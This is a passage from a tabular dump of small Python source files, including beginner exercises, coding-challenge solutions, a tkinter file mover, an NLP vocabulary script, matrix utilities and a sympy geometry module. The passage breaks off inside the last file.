blob_id stringlengths 40 40 | repo_name stringlengths 5 127 | path stringlengths 2 523 | length_bytes int64 22 545k | score float64 3.5 5.34 | int_score int64 4 5 | text stringlengths 22 545k |
|---|---|---|---|---|---|---|
7839f4db582dcbd7a8325419cd5782287234f871 | Gangamagadum98/Python-Programs | /prgms/ex6.py | 196 | 3.5 | 4 | n=2
while(1):
i=1
while(i<=10):
print("%dX%d=%d"%(n,i,n*i))
i=i+1
choice=int(input("choose your options press 0 for no"))
if choice==0:
break
n=n+1
|
22c53ef4108475e1b4378c6e2caf1dc2e007477a | Gangamagadum98/Python-Programs | /prgms/exception.py | 595 | 4.0625 | 4 | # 3 types of errors - 1. Compile time error (like syntax error-missing(:), spelling)
#2 Logical error - (code get compiled gives incorrect op by developer)
# 3 Runtime error- (code get compiled properly like division by zero end user given wrong i/p)
a=5
b=2
try:
print('resource open')
print(a/b)
k=int(input('Enter a number'))
print(k)
except ZeroDivisionError as e:
print("Hey, you cannot divide a number by Zero",e)
except ValueError as e:
print("Invalid Input")
except Exception as e:
print("Something went wrong...")
finally:
print("resource closed")
|
040887d4f5565035ccaacfe0de06c4ceaa5ef8da | Gangamagadum98/Python-Programs | /prgms/OOp.py | 781 | 3.8125 | 4 | # python supports Functional programing, procedure oriented programing and also object oriented programing. (ex-lambda)
# object - Instance of class (by using class design we can create no of obj)
# class - Its a design (blue print) (In class we can declare variables and methods)
class computer:
def __init__(self,cpu,ram):
print("init") #__init_() its like constructor, it vl execute automaticaly without calling for eact object.
self.cpu=cpu
self.ram=ram
def config(self):
print("i5 16Gb 1Tb",self.cpu,self.ram)
com1=computer("i3",3)
com2 = computer("i5",4)
computer.config(com1)
computer.config(com2)
#or
com1.config()
com2.config() #Internally config method takes com2 as argumt and pass it in config function |
81c156b18202bd3e72199019e99cfc88a7846934 | muralimano28/programming-foundations-with-python-course | /rename_files.py | 543 | 3.578125 | 4 | import os
import re
skip_files = [".DS_Store", ".git"]
path = "/Users/muralimanohar/Workspace/learning-python/prank"
def rename_files():
# Get list of filenames in the directory.
filenames = os.listdir(path)
# Loop through the names and rename files.
for file in filenames:
if file in skip_files:
print("Found a file with filename " + file)
continue
else:
new_name = re.sub(r'\d', r'', file)
os.rename(path + "/" + file, path + "/" + new_name)
rename_files()
|
986c2dcf7a5cc8b91342cf92a73d77c4aef7c315 | alihossein/quera-answers | /hossein/university/9773/9773.py | 452 | 4.09375 | 4 | # question : https://quera.ir/problemset/university/9773
diameter = int(input())
diameter /= 2
diameter = int(diameter) + 1
STAR = "*"
SPACE = " "
for i in range(diameter):
print(SPACE * (diameter - i - 1), STAR * (i * 2 + 1), SPACE * (2 * (diameter - i) - 2), STAR * (i * 2 + 1), sep='')
for i in range(diameter - 2, -1, -1):
print(SPACE * (diameter - i - 1), STAR * (i * 2 + 1), SPACE * (2 * (diameter - i - 1)), STAR * (i * 2 + 1), sep='')
|
9bbb6ae80ba93e132f79273f43a30c04567e5706 | alihossein/quera-answers | /hossein/contest/34081/34081.py | 250 | 3.609375 | 4 | # question: https://quera.ir/problemset/contest/34081
tmp = input()
n, k = tmp.split(' ')
k = int(k)
n = int(n)
start = 1
cnt = 0
while True:
next_step = (start + k) % n
cnt += 1
if next_step == 1: print(cnt); break
start = next_step
|
02a3de8fc8f87bad2609fbb3d1e25775c96d4832 | alihossein/quera-answers | /Alihossein/contest/10231/10231.py | 357 | 3.65625 | 4 | # question : https://quera.ir/problemset/contest/10231/
result = ''
inputs = []
for i in range(5):
inputs.append(input())
for i, one_string in enumerate(inputs):
if one_string.find('MOLANA') >= 0 or one_string.find('HAFEZ') >= 0:
result = result + str(i + 1) + ' '
if result == '':
print('NOT FOUND!')
else:
print(result.strip())
|
9eb6603a5e2f9076599d12661b1695b89861f65a | jaresj/Python-Coding-Project | /Check Files Project/check_files_func.py | 2,635 | 3.609375 | 4 |
import os
import sqlite3
import shutil
from tkinter import *
import tkinter as tk
from tkinter.filedialog import askdirectory
import check_files_main
import check_files_gui
def center_window(self, w, h): # pass in the tkinter frame (master) reference and the w and h
# get user's screen width and height
screen_width = self.master.winfo_screenwidth()
screen_height = self.master.winfo_screenheight()
# calculate x and y coordinates to paint the app centered on the user's screen
x = int((screen_width/2) - (w/2))
y = int((screen_height/2) - (h/2))
centerGeo = self.master.geometry('{}x{}+{}+{}'.format(w, h, x, y))
# catch if the user's clicks on the windows upper-right 'X' to ensure they want to close
def ask_quit(self):
if messagebox.askokcancel("Exit program", "Okay to exit application?"):
#this closes app
self.master.destroy()
os._exit(0)
def source_directory(self):
self.folder1 = askdirectory()
self.txt_browse1.insert(0,self.folder1)
def destination_directory(self):
self.folder2 = askdirectory()
self.txt_browse2.insert(0,self.folder2)
def move_files(self):
for filename in os.listdir(path=self.folder1):
if filename.endswith('.txt'):
shutil.move(os.path.join(self.folder1, filename), (self.folder2))
create_db(self)
continue
else:
continue
#============================================================================
def create_db(self):
conn = sqlite3.connect('check_files.db')
with conn:
cur = conn.cursor()
cur.execute("CREATE TABLE IF NOT EXISTS tbl_files(\
ID INTEGER PRIMARY KEY AUTOINCREMENT, \
col_txtFiles TEXT, \
col_modFiles TEXT \
)")
conn.commit()
conn.close()
conn = sqlite3.connect('check_files.db')
fileList = os.listdir(path=self.folder2)
modFiles = os.path.getmtime(self.folder2)
with conn:
cur = conn.cursor()
for items in fileList:
if items.endswith('.txt'):
cur.execute('INSERT INTO tbl_files(col_txtFiles,col_modFiles) VALUES (?,?)', \
(items,modFiles))
conn.commit
conn.close()
conn = sqlite3.connect('check_files.db')
with conn:
cur = conn.cursor()
cur.execute("SELECT * FROM tbl_files")
varFiles = cur.fetchall()
for item in varFiles:
print(item)
if __name__ == "__main__":
pass
|
c5f70ae426e223589e3f1e941b4153adfe364ae3 | Francinaldo-Silva/Projetos-Python | /Cadastro_produtos.py | 2,806 | 3.953125 | 4 | prod = []
funcionarios = []
valores = []
#=====MENU INICIAL==================================#
def main ():
#==============================#
#MENU PARA EXEBIÇÃO
#==============================#
print("########## CADASTRAR PRODUTOS ##########")
print("\n")
print(" 1- Cadastrar produtos")
print(" 2- Cadastrar funcionarios")
print(" 3- Exibir produtos ")
print(" 4- Exibir funcionários")
print(" 5- Valor total dos produtos")
print("\n")
opc = int(input("Açâo desejada: "))
if opc == 1:
cadastro_prod()
elif opc == 2:
cadastro_func()
elif opc == 3:
exibir_prod()
elif opc == 4:
exibir_func()
elif opc == 5:
soma()
#=====FIM MENU INICIAL===============================#
#====SOMAR==================#
def soma():
print("Valor total: ", sum(valores))
#====FIM SOMAR===============#
#====EXIBIR PRODUTOS=========#
def exibir_prod():
print("Produtos e seus valores unitários")
for i in prod:
print(i,end = " | ")
print("\n")
for j in valores:
print(j,end = " | ")
#====EXIBIR FUNCIONARIOS=========#
def exibir_func():
print("Lista de Funcionários")
for i in funcionarios:
print(i,end = " ")
#====FIM EXIBIR FUNCIONARIOS=====#
#====CADASTRO DE PRODUTOS==================#
def cadastro_prod():
while True:
nome = str(input("Nome do produto: "))
prod.append(nome)
val_uni = float(input("Valor unitário: "))
valores.append(val_uni)
print("\n")
op = str(input("Continuar? S/N: "))
if op == 's' :
continue
elif op == 'n' :
return main()
#====FIM CADASTRO DE PRODUTOS==================#
#====CADASTRO DE PRODUTOS==================#
def cadastro_func():
while True:
nome = str(input("Nome: "))
cod = int(input ("Código: "))
cpf = str(input ("Cpf: "))
func = str(input("Função: "))
ch = str(input ("Carga horária: "))
hr_ent=str(input("Horário de entrada: "))
hr_sai=str(input("Horário de saída: "))
sal= float(input("Salário: "))
funcionarios.append(nome)
funcionarios.append(cod)
funcionarios.append(cpf)
funcionarios.append(func)
funcionarios.append(ch)
funcionarios.append(hr_ent)
funcionarios.append(hr_sai)
funcionarios.append(sal)
print("\n")
op = str(input("Continuar? S/N: "))
if op == 's' :
continue
elif op == 'n' :
return main()
#====FIM CADASTRO DE PRODUTOS==================#
main()
|
8cff11c2254531f9392195eeaf5f2f1509380321 | mahaalkh/CS6120_Natural_Language_Processing | /HierarchicalClustering/HW3getVocabulary.py | 3,749 | 3.640625 | 4 | """
getting the vocabulary from the corpra ordered based on frequency
"""
from collections import Counter, OrderedDict
import operator
sentences = []
def removeTag(word):
"""
removes the tag
the word is in the format "abcd/tag"
"""
wl = word.split("/")
return wl[0]
def readWordsFromFile(filename):
"""
reads the words from the file (filename)
filename is the file in the corpra
"""
filename = "brown/{}".format(filename)
fileObject = open(filename, "r")
low = []
for line in fileObject:
l = line.split()
l = map(lambda x: removeTag(x).lower(), l)
# l = map(lambda x: x.lower(), l)
low.extend(l)
return low
def readFromFile(filename):
filename = "brown/{}".format(filename)
fileObject = open(filename, "r")
low = []
for line in fileObject:
low.append(line)
return low
def readNamesFromFile(filename):
fileObject = open(filename, "r")
lol = []
for line in fileObject:
l = line.split()
lol.extend(l)
return lol
def getWords():
"""
gets the word from the corpra
"""
print "getting the words"
lofn = readNamesFromFile("fileNames.txt")
words = []
for fn in lofn:
low = readWordsFromFile(fn)
words.extend(low)
return words
def changeText(text):
"""
changes the text to get the sentences based on the /. tag
"""
print "changing the text"
# textN = re.sub(r'/[a-zA-Z$*+\x2d]+', '', text).lower()
textNew = text.replace('./.', './. !END').replace('?/.', '?/. !END').replace('!/.', '!/. !END').replace(':/.', ':/. !END').replace(';/.', ';/. !END')
s = textNew.split('!END')
newSent = map(lambda x: map(lambda y: removeTag(y).lower(), x.split()), s)
return newSent
def getSentences():
"""
gets the sentences from the corpra
"""
global sentences
print "getting the sentences"
lof = readNamesFromFile("fileNames.txt")
words = []
for fn in lof:
low = readFromFile(fn)
words.extend(low)
text = ' '.join(words)
sentences = changeText(text)
return sentences
print "got the sentences"
def countFrequencyWords(words):
"""
gets the frequency of the words in the corpra
"""
print "getting the frequency of the words"
counted = Counter(words)
return counted
def changeInfreq(counted, cutoff = 10):
"""
makes the infrequent words
"""
print "changing infrequent"
modified_counted = dict()
for w, c in counted.iteritems():
if c <= cutoff:
w = "UNK"
if modified_counted.has_key(w):
modified_counted[w] += c
else:
modified_counted[w] = c
return modified_counted
def sortedDict(dic):
"""
sorts the dictionary based on frequency and alphabetically
"""
print "sorting dict"
sorted_c = sorted(dic.items(), key = operator.itemgetter(0), reverse = False)
sorted_cc = sorted(sorted_c, key = operator.itemgetter(1), reverse = True)
return sorted_cc
def writeVocabRankedToFile(filename, dic):
"""
writes the ranked vocabulary to the file based on the filename
"""
print "writing {} to the file {}".format('ModifiedWordWithCount', filename)
d = sortedDict(dic)
fo = open(filename, "w")
for w, c in d:
fo.write(str(w) + '\t')
fo.write(str(c) + '\n')
fo.close()
def writeSentencesToFile(filename, lst):
"""
writes the corpra sentences to one file with new lines
"""
print "writing the sentences to {}".format(filename)
fo = open(filename, "w")
for sentence in lst:
fo.write(' '.join(sentence) + '\n\n')
fo.close()
def main():
"""
runs all the methods in the correct order
"""
global sentences
words = getWords()
sentences = getSentences()
print "len of sentences = ", len(sentences)
counted = countFrequencyWords(words)
modified_counted = changeInfreq(counted, cutoff = 10)
writeVocabRankedToFile("corpraVocab.txt", modified_counted)
writeSentencesToFile("corpraSentences.txt", sentences)
main()
|
735d31d980c6efb9a91d32bda512aaef0cf162e3 | JamesHovet/CreamerMath | /TwinPrimes.py | 576 | 3.875 | 4 | from IsPrime import isPrime
def v1(): #easy to understand version
for i in range(3,10001,2): #only check odds, the third number in range is the number you increment by
# print(i, i+2) #debug code
if isPrime(i) and isPrime(i+2): #uses function that we defined at top
print(i,i+2,"are twin primes")
def v2(): #a bit faster, but weird and complicated
l = [(x,isPrime(x)) for x in range(3,10001,2)]
for i in range(len(l)-1):
# print(l[i],l[i+1]) #debug code
if l[i][1] and l[i+1][1]:
print(l[i][0],l[i+1][0])
|
b7f38b0104516042f3a8f8b502661d21b05f0ffe | faisaldialpad/hellouniverse | /Python/dev/arrays/missing_number.py | 322 | 3.53125 | 4 | class MissingNumber:
@staticmethod
def find(nums):
"""
:type nums: List[int]
:rtype: int
"""
sum_nums =0
sum_i =0
for i in range(0, len(nums)):
sum_nums += nums[i]
sum_i += i
sum_i += len(nums)
return sum_i - sum_nums
|
0b5fe12b1c07dff54c307e08b11e2e9a5dbc90f2 | faisaldialpad/hellouniverse | /Python/tests/arrays/test_group_anagrams.py | 608 | 3.515625 | 4 | from unittest import TestCase
from dev.arrays.group_anagrams import GroupAnagrams
class TestGroupAnagrams(TestCase):
def test_group(self):
self.assertCountEqual([set(x) for x in GroupAnagrams.group(["eat", "tea", "tan", "ate", "nat", "bat"])],
[set(x) for x in [["ate", "eat", "tea"], ["nat", "tan"], ["bat"]]])
def test_group_sorted(self):
self.assertCountEqual([set(x) for x in GroupAnagrams.group_sorted(["eat", "tea", "tan", "ate", "nat", "bat"])],
[set(x) for x in [["ate", "eat", "tea"], ["nat", "tan"], ["bat"]]])
|
a87d71e18551ae1da7a3ce8a18f00825734d5ff0 | faisaldialpad/hellouniverse | /Python/dev/todo/longest_substring_with_k_repeating.py | 719 | 3.90625 | 4 | """
https://leetcode.com/problems/longest-substring-with-at-least-k-repeating-characters/description/
395. Longest Substring with At Least K Repeating Characters
Find the length of the longest substring T of a given string (consists of lowercase letters only) such that every character in T appears no less than k times.
Example 1:
Input:
s = "aaabb", k = 3
Output:
3
The longest substring is "aaa", as 'a' is repeated 3 times.
Example 2:
Input:
s = "ababbc", k = 2
Output:
5
The longest substring is "ababb", as 'a' is repeated 2 times and 'b' is repeated 3 times.
"""
class Solution:
def longestSubstring(self, s, k):
"""
:type s: str
:type k: int
:rtype: int
"""
|
67e351e56d2cbed69e23cbaed5918ecfd259a6e6 | faisaldialpad/hellouniverse | /Python/dev/maps/happy_number.py | 839 | 3.84375 | 4 | class HappyNumber(object):
def is_happy(self, n):
"""
obvious solution is to use a set!
:type n: int
:rtype: bool
"""
slow = n
fast = n
while True:
# this is how do-while is implemented (while True: stuff() if fail_condition: break)
# similar to cycle detection in linked lists
slow = self.__next(slow)
fast = self.__next(fast)
fast = self.__next(fast)
if slow == 1 or fast == 1: # although checking just fast == 1 is enough
return True
elif slow == fast:
return False
@staticmethod
def __next(n):
total = 0
while n > 0:
rem = n % 10
total += (rem * rem)
n = int(n / 10)
return total
|
c244b3c9a19b7cf1c346ee1ceb37c73ca6592fa0 | faisaldialpad/hellouniverse | /Python/dev/strings/valid_palindrome.py | 617 | 3.78125 | 4 | class ValidPalindrome:
@staticmethod
def is_palindrome(s):
"""
:type s: str
:rtype: bool
"""
if not s:
return True
left = 0
right = len(s) - 1
while left <= right:
while left <= right and not s[left].isalnum():
left += 1
while left <= right and not s[right].isalnum():
right -= 1
if left > right:
break
if s[left].upper() != s[right].upper():
return False
left += 1
right -= 1
return True
|
b64a767a75dd83c67d5ade2d38f12f82037c0436 | faisaldialpad/hellouniverse | /Python/dev/maths/count_primes.py | 443 | 3.8125 | 4 | class CountPrimes:
@staticmethod
def count(n):
"""
:type n: int
:rtype: int
"""
not_primes = [False] * n # prime by default
count = 0
for i in range(2, n):
if not not_primes[i]:
count += 1
j = i # important
while i * j < n:
not_primes[i * j] = True
j += 1
return count
|
6f4786334da4a577e81d74ef1c58e7c0691b82b9 | Obadha/andela-bootcamp | /control_structures.py | 354 | 4.1875 | 4 | # if False:
# print "it's true"
# else:
# print "it's false"
# if 2>6:
# print "You're awesome"
# elif 4<6:
# print "Yes sir!"
# else:
# print "Okay Maybe Not"
# for i in xrange (10):
# if i % 2:
# print i,
# find out if divisible by 3 and 5
# counter = 0
# while counter < 5:
# print "its true"
# print counter
# counter = counter + 1
|
984e0cacfae69181a8576d3defa739681974d06a | MineKerbalism/Python-Programs | /vmz132_toto_proverka_fish_02.py | 218 | 3.5625 | 4 | import random
size = 6
tiraj = [0] * size
moi_chisla = [0] * size
for index in range(size):
tiraj[index] = random.randint(0, 49)
for index in range(size):
moi_chisla[index] = input("Enter a number from 0 to 49: ") |
2147d2737f6332b31a94e8379c890e7884b03f71 | MineKerbalism/Python-Programs | /vmz132_lice_na_kvadrat.py | 163 | 4.125 | 4 | lengthOfSide = input("Enter the length of the square's side: ")
areaOfSquare = lengthOfSide * lengthOfSide
print("The area of the square is: " + str(areaOfSquare)) |
1fcd42c435dbb422aaa1b5e70dcd5eaf2cad6853 | pdspatrick/IT310-Code | /labs/minheightBST.py | 806 | 3.953125 | 4 | class TreeNode:
'''Node for a simple binary tree structure'''
def __init__(self, value, left, right):
self.value = value
self.left = left
self.right = right
def min_height_BST(alist):
'''Returns a minimum-height BST built from the elements in alist (which are in sorted order)'''
# I think we can just keep finding the middle....right?
# and contiunually pass smaller lists recursively.
# Trying to do this without try/except ended up with
# Zybooks giving me a funny looking stack overflow error.
middle = (len(alist) // 2)
try:
boop = TreeNode(alist[middle], None, None)
boop.left = min_height_BST(alist[:middle])
boop.right = min_height_BST(alist[middle+1:])
except:
pass
return boop
|
7e19abc5efaf17e647805596b81bf9be3f3c1ea3 | Thamaraiselvimurugan/python | /upplwr.py | 312 | 3.96875 | 4 | def upplow(a):
up=0
lw=0
for i in range(len(a)):
if a[i].isupper():
up=up+1
if a[i].islower():
lw=lw+1
print("No. of uppercase is ="+str(up))
print("No. of lowercase is="+str(lw))
a=raw_input("Enter a string")
upplow(a) |
0cc2311e0b09f3055b6e85921c3c53f8a1a474f5 | JakeVidal/ECE-441-project | /number_format.py | 401 | 3.8125 | 4 | input_value = float(input("enter a decimal value: "))
output_value = "00"
adjustment = "0000000000000001"
post_decimal = input_value
for i in range(0, 14):
temp = post_decimal
post_decimal = temp*2 - int(temp*2)
temp = temp*2
output_value = output_value + str(int(temp))
output_value = int(output_value, 2) + int(adjustment, 2)
output_value = hex(output_value)
print(output_value)
|
7c6a6f84e2240e40c9593283083457ff27d78e7f | MiWerner/rAIcer | /Clients/Python-rAIcer-Client/MatrixOps.py | 6,900 | 3.53125 | 4 | import numpy as np
import math
def multidim_intersect(arr1, arr2):
"""
Finds and returns all points that are present in both arrays
:param arr1: the first array
:param arr2: the second array
:return: an array of all points that are present in both arrays
"""
# Remove third dimension from the arrays
arr1 = arr1.reshape(len(arr1), 2)
arr2 = arr2.reshape(len(arr2), 2)
# Change the inner arrays to tuples to compare them
arr1_view = arr1.view([('', arr1.dtype)]*arr1.shape[1])
arr2_view = arr2.view([('', arr2.dtype)]*arr2.shape[1])
# Find the intersections and return them
intersected = np.intersect1d(arr1_view, arr2_view)
return intersected.view(arr1.dtype).reshape(-1, arr1.shape[1])
def multidim_indexof(array, element):
"""
Finds and returns the index of the first occurrence of element in array
:param array: the first array
:param element: the element to find
:return: the index of the first occurrence of element in array
"""
# Maybe improve performance later? The numpy variants do not seem to work though
for i in range(0, len(array)):
if np.array_equal(array[i], element):
return i
return -1
def convex_combination(point1, point2, factor=0.5, flip=False):
"""
Calculates the convex combination of two points with a given factor and returns the resulting point
which optionally flipped
:param point1: the first point
:param point2: the second point
:param factor: the factor for the first point
:param flip: whether the resulting point should be flipped
:return: the convex combination of both points
"""
result = point1*factor + point2*(1-factor)
return np.flip(result, axis=0) if flip else result
def fast_norm(vector):
"""
Calculates the norm of the given (numpy) vector(s) using standard math library instead of numpy because it is faster
on single vectors
:param vector: the vector
:return: the norm(s) of the vector(s)
"""
if hasattr(vector, "ndim") and vector.ndim == 2:
n = len(vector)
norms = np.zeros(n)
for i in range(n):
norms[i] = math.sqrt(vector[i][0]**2 + vector[i][1]**2)
return norms
return math.sqrt(vector[0]**2 + vector[1]**2)
def angle_between_vectors(vector1, vector2):
"""
Calculates the angle in radians between two vectors by taking the dot product of their unit vectors
:param vector1: the first vector
:param vector2: the second vector
:return: the angle in radians between both vectors
"""
vector1 = vector1 / fast_norm(vector1)
vector2 = vector2 / fast_norm(vector2)
return np.arccos(np.clip(np.dot(vector1, vector2), -1.0, 1.0))
def find_closest_point_index(point, points):
"""
Find and return the index of the point closest to the given point from a list of points
:param point: the point to find the closest to
:param points: the list of points
:return: the index of the point closest to the given point
"""
distances = np.linalg.norm(points - point, axis=1)
return np.argmin(distances)
def find_closest_point(point, points):
"""
Find and return the point closest to the given point from a list of points
:param point: the point to find the closest to
:param points: the list of points
:return: the point closest to the given point
"""
return points[find_closest_point_index(point, points)]
def get_perpendicular_vector(point1, point2, direction=0, normalized=True):
"""
Returns one of the two perpendicular vectors to the vector between the two given points and optionally normalizes it
:param point1: the first point
:param point2: the second point
:param direction: the direction of the resulting vector (either 0 or 1)
:param normalized: whether the result should be normalized
:return: the perpendicular vector to the vector between the two points
"""
point1 = point1.reshape(2)
point2 = point2.reshape(2)
result = np.flip(point2 - point1, axis=0)
result[direction] = -result[direction]
return result / fast_norm(result) if normalized else result
def create_line_iterator(point1, point2, img):
"""
Produces and array that consists of the coordinates and intensities of each pixel in a line between two points
(see https://stackoverflow.com/a/32857432/868291)
:param point1: the first point
:param point2: the second point
:param img: the image being processed
:return: a numpy array that consists of the coordinates and an array with the intensities of each pixel in the radii
(shape: [numPixels, 3], row = [x,y,intensity])
"""
# Define local variables for readability
imageH = img.shape[1]
imageW = img.shape[0]
P1X = point1[0]
P1Y = point1[1]
P2X = point2[0]
P2Y = point2[1]
# Difference and absolute difference between points (used to calculate slope and relative location between points)
dX = P2X - P1X
dY = P2Y - P1Y
dXa = np.abs(dX)
dYa = np.abs(dY)
# Predefine numpy array for output based on distance between points
itbuffer = np.empty(shape=(np.maximum(dYa, dXa), 2), dtype=np.float32)
itbuffer.fill(np.nan)
# Obtain coordinates along the line using a form of Bresenham's algorithm
negY = P1Y > P2Y
negX = P1X > P2X
if P1X == P2X: # Vertical line segment
itbuffer[:, 0] = P1X
if negY:
itbuffer[:, 1] = np.arange(P1Y - 1, P1Y - dYa - 1, -1)
else:
itbuffer[:, 1] = np.arange(P1Y+1, P1Y+dYa+1)
elif P1Y == P2Y: # Horizontal line segment
itbuffer[:, 1] = P1Y
if negX:
itbuffer[:, 0] = np.arange(P1X-1, P1X-dXa-1, -1)
else:
itbuffer[:, 0] = np.arange(P1X+1, P1X+dXa+1)
else: # Diagonal line segment
steepSlope = dYa > dXa
if steepSlope:
slope = dX.astype(np.float32) / dY.astype(np.float32)
if negY:
itbuffer[:, 1] = np.arange(P1Y-1, P1Y-dYa-1, -1)
else:
itbuffer[:, 1] = np.arange(P1Y+1, P1Y+dYa+1)
itbuffer[:, 0] = (slope*(itbuffer[:, 1]-P1Y)).astype(np.int) + P1X
else:
slope = dY.astype(np.float32) / dX.astype(np.float32)
if negX:
itbuffer[:, 0] = np.arange(P1X-1, P1X-dXa-1, -1)
else:
itbuffer[:, 0] = np.arange(P1X+1, P1X+dXa+1)
itbuffer[:, 1] = (slope*(itbuffer[:, 0]-P1X)).astype(np.int) + P1Y
# Remove points outside of image
colX = itbuffer[:, 0]
colY = itbuffer[:, 1]
itbuffer = itbuffer[(colX >= 0) & (colY >= 0) & (colX < imageW) & (colY < imageH)]
# Get intensities from img ndarray
intensities = img[itbuffer[:, 0].astype(np.uint), itbuffer[:, 1].astype(np.uint)]
return itbuffer, intensities
|
f53dec941f3422e8731285a1f3a375ea45121c41 | ifeedtherain/Python_Stepik | /02-07_stringm.py | 244 | 3.515625 | 4 | s = str(input())
t = str(input())
cnt = 0
def cnt_occur(s, t, cnt):
i = -1
while True:
i = s.find(t, i+1)
if i == -1:
return cnt
cnt += 1
if t in s:
print(cnt_occur(s,t, cnt))
else:
print(cnt) |
b367f9a09739b87aef87a011a5e9454b87c3b6fe | ArielAyala/python-conceptos-basicos-y-avanzados | /Unidad 4/Tuplas.py | 338 | 4.09375 | 4 | tupla = (100, "Hola", [1, 2, 3], -50)
for dato in tupla:
print(dato)
# Funciones de tuplas
print("La cantidad de datos que tiene esta posicion (Solo si son listas) en la tupla es :",len(tupla[1]))
print("El índice del valor 100 es :", tupla.index(100))
print("El índice del valor 'Hola' es :", tupla.index("Hola"))
print("454")
|
eb65ff92ef8086781e3657ca6f543dc2edadc228 | ArielAyala/python-conceptos-basicos-y-avanzados | /Unidad 4/Listas.py | 737 | 4.21875 | 4 | numeros = [1, 2, 3, 4, 5]
datos = [5, "cadena", 5.5, "texto"]
print("Numeros", numeros)
print("Datos", datos)
# Mostramos datos de la lista por índice
print("Mostramos datos de la lista por índice :", datos[-1])
# Mostramos datos por Slicing
print("Mostramos datos por Slicing :", datos[0:2])
# Suma de Listas
listas = numeros + datos
print("La suma de las listas es :", listas)
# Mutabilidad
pares = [0, 2, 4, 5, 8, 10]
pares[3] = 6
print("Lista de pares, mutando un valor :", pares)
# Funciones o métodos de Listas
c = len(pares)
print("La función 'len' cuenta cuandos datos tiene la lista, ejemplo la lista pares :", c)
pares.append(12)
print("La función 'append' agregar un dato al final de la lista, ejemplo :", pares)
|
5d86707b669cf0fcf7c822473de137649d5a228e | ArielAyala/python-conceptos-basicos-y-avanzados | /Unidad 8/MetodosEspeciales.py | 669 | 3.84375 | 4 | class Pelicula:
# Contructor de la clase
def __init__(self, titulo, duracion, lanzamiento):
self.titulo = titulo
self.duracion = duracion
self.lanzamiento = lanzamiento
print("Se creó la película", self.titulo)
# Destructor de la lcase
def __del__(self):
print("Se está borrando la película", self.titulo)
# Redefiniendo el método string
def __str__(self):
return "{} lanzando el {} con duración de {} minutos.".format(self.titulo, self.lanzamiento, self.duracion)
def __len__(self):
return self.duracion
pelicula = Pelicula("El Padrino", 175, 1973)
print(str(pelicula))
|
745b9f249e9c21f26fc2a4c9f04f4aa604c2293e | valerocar/geometry-blender | /gblend/geometry.py | 10,000 | 4.1875 | 4 | """
Geometry classes
"""
from gblend.variables import x, y, z, rxy
from sympy.algebras.quaternion import Quaternion
from sympy import symbols, cos, sin, sqrt, N, lambdify, exp
def sigmoid(s, k):
"""
The sigmoid function.
:param s: independent variable
:param k: smoothing parameter
:return:
"""
return 1 / (1 + exp(-(s / k)))
class Geometry:
"""
The Geometry class is used to encapsulate the concept of a region defined by
the set of point at which a function is greater or equal to 1/2.
"""
def __init__(self, f, dim):
"""
Creates a geometrical object defined by the inequality f(p) >= 1/2
:param f: a function
:param dim: the number of independent variable of the function
"""
self.dim = dim
self.f = f
def __geometry(self, f):
if self.dim == 2:
return Geometry2D(f)
elif self.dim == 3:
return Geometry3D(f)
return Geometry(self, f)
def __and__(self, b):
"""
Returns an object that is the intersection of this object with b
:param b:
:return:
"""
return self.__geometry(self.f * b.f)
def __or__(self, b):
"""
Returns an object that is the union of this object with b
:param b:
:return:
"""
return self.__geometry(self.f + b.f - self.f * b.f)
def __invert__(self):
"""
Returns the complement (in the set theoretical sense) of this object
:return:
"""
return self.__geometry(1 - self.f)
def __sub__(self, b):
"""
Returns an object that is the difference of this object with b
:param b:
:return:
"""
return self.__geometry(self.f * (1 - b.f))
def get_lambda(self):
"""
Returns the lambda function of the function f, so that it can be used for numerical evaluation
:return:
"""
if self.dim == 3:
return lambdify((x, y, z), self.f, 'numpy')
elif self.dim == 2:
return lambdify((x, y), self.f, 'numpy')
return None
class Geometry3D(Geometry):
def __init__(self, f):
Geometry.__init__(self, f, 3)
@staticmethod
def subs_3d(f, x_new, y_new, z_new):
xx, yy, zz = symbols("xx yy zz", real=True)
xx_new = x_new.subs({x: xx, y: yy, z: zz})
yy_new = y_new.subs({x: xx, y: yy, z: zz})
zz_new = z_new.subs({x: xx, y: yy, z: zz})
tmp = f.subs({x: xx_new, y: yy_new, z: zz_new})
return tmp.subs({xx: x, yy: y, zz: z})
def translated(self, dx, dy, dz):
"""
Returns a translated version of this object
:param dx: distance translates in the x-direction
:param dy: distance translates in the y-direction
:param dz: distance translates in the z-direction
:return: a translated version of this object
"""
return Geometry3D(Geometry3D.subs_3d(self.f, x - dx, y - dy, z - dz))
def displaced(self, f, axis='z'):
"""
Returns this object displaced by one of the formulas
(x,y,z) -> (x+f(y,z),y,z)
(x,y,z) -> (x,f(x,z),z)
(x,y,z) -> (x,y,z+f(x,y))
depending on whether axis is "x", "y" or "z".
:param f: a function in 2-variables none of which is the axis variable
:param axis: the axis along which the object will be displaced
:return: the displaced object
"""
# TODO: Check for f variables dependencies
if axis == 'x':
return Geometry3D(self.subs_3d(self.f, x - f, y, z))
elif axis == 'y':
return Geometry3D(self.subs_3d(self.f, x, y - f, z))
elif axis == 'z':
return Geometry3D(self.subs_3d(self.f, x, y, z - f))
return None
def scaled(self, sx: float, sy: float, sz: float):
"""
Returns a scaled version of this object
:param sx: scale factor in the x-direction
:param sy: scale factor in the y-direction
:param sz: scale factor in the y-direction
:return: a scaled version of this object
"""
return Geometry3D(Geometry3D.subs_3d(self.f, x / sx, y / sy, z / sz))
def rotated(self, nx: float, ny: float, nz: float, theta: float):
"""
Returns a rotated version of this object
:param nx: x-component of the rotation axis
:param ny: y-component of the rotation axis
:param nz: z-component of the rotation axis
:param theta: rotation angle
:return: a rotated version of this object
"""
nrm = N(sqrt(nx ** 2 + ny ** 2 + nz ** 2))
sn2 = N(sin(theta / 2))
cs2 = N(cos(theta / 2))
q = Quaternion(cs2, sn2 * nx / nrm, sn2 * ny / nrm, sn2 * nz / nrm)
q_inv = q.conjugate()
r = q_inv * Quaternion(0, x, y, z) * q
return Geometry3D(self.subs_3d(self.f, r.b, r.c, r.d))
def displace(self, f, axis='z'):
self.f = self.displaced(f, axis).f
def translate(self, dx: float, dy: float, dz: float):
self.f = self.translated(dx, dy, dz).f
def scale(self, sx, sy, sz):
self.f = self.scaled(sx, sy, sz).f
def rotate(self, nx, ny, nz, theta):
self.f = self.rotated(nx, ny, nz, theta).f
###################################
# #
# Concrete Geometry Types #
# (sigmoid functions here! #
# #
###################################
class HalfSpace3D(Geometry3D):
"""
Defines the half space as the set of points (x,y,z) satisfying nx*x + ny*y + nz*z >= 0
"""
def __init__(self, nx=0, ny=0, nz=1, k=1 / 2):
"""
Defines the half space as the set of points (x,y,z) satisfying nx*x + ny*y + nz*z >= 0
